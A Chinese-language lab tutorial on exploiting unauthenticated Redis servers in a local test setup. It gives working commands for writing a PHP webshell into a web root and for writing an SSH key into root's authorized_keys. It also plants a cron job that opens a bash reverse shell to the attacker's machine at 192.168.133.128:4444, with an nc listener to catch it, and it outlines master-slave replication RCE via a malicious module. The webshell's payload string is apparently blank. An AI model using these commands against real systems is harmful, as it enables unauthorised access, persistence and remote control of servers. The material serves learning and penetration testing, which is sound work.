01
环境搭建
- 操作系统:Windows 10、Kali Linux 2020、CentOS 7
在指定端口开启 Redis 服务
redis-server --port 6379
02
利用步骤
为了利用 Redis 未授权漏洞,首先需要确认漏洞存在。
- 判断漏洞存在:尝试直接连接 Redis 服务,并使用
info
命令获取 Redis 服务器信息。
redis-cli -h localhost -p 6379
成功获取 Redis 服务器信息即表示存在未授权漏洞。
一旦确认存在漏洞,可以进一步利用,常规方式包括:
- Webshell
- 写入 SSH 公钥实现免密登录
- 写入定时任务文件执行命令反弹 shell
在本地环境中,先演示第一种方法。
03
Redis 未授权写入 Webshell
为了实现 Redis 未授权写入 Webshell,需要满足以下条件:
- 服务器开放 Web 服务
- 确定网站根目录位置
- 对写入文件/文件夹具有读写权限
假设网站根目录为 D:/xampp/htdocs/
,并对其具有读写权限。
<code>redis-cli -h localhost -p 6379 config set dir D:/xampp/htdocs/ config set dbfilename index_.php set shell "\n\n\n\n" save</code>
成功写入 Webshell 后,即可通过访问相应 URL 进行验证。
04
写入 SSH 公钥实现免密登录
配置环境:Kali Linux 自带 Redis,CentOS 7 需要手动部署。
在 CentOS 7 上开启 Redis 服务:
./redis-server --port 6379
连接到 CentOS 的 Redis 服务:
redis-cli -h 192.168.133.133
成功连接后,将生成的 SSH 公钥写入 Redis 服务器,然后设置 Redis 的备份文件路径并保存。
config set dir /root/.ssh/ config set dbfilename authorized_keys save
尝试使用写入的 SSH 公钥进行免密登录:
ssh root@192.168.133.133 -i /root/.ssh/id_rsa
05
写入定时任务文件执行命令反弹 shell
这种方法仅适用于 CentOS,Ubuntu 环境存在权限和乱码问题。
首先在 Kali 上启动监听:
nc -lvp 4444
连接到 CentOS 的 Redis 服务,写入定时任务:
<code>config set dir /var/spool/cron/ config set dbfilename root set payload "\n\n* * * * * bash -i >& /dev/tcp/192.168.133.128/4444 0>&1\n\n" save</code>
等待一段时间后,将反弹的 shell 收到 Kali 上。
06
基于主从复制的 RCE
主从复制是为了缓解 Redis 服务器压力,使其能够处理更多的读写请求。
基本思路是在本地搭建 Redis 服务,将其设置为 CentOS 的主节点,然后将恶意 so 文件通过全量复制同步到从节点,最终实现 RCE。
需注意的是,全量复制会清空对方数据库,因此在挖掘漏洞时需要小心谨慎。
综上所述,通过以上方法,成功利用了 Redis 的未授权漏洞,并实现了多种攻击手段。
暂无评论内容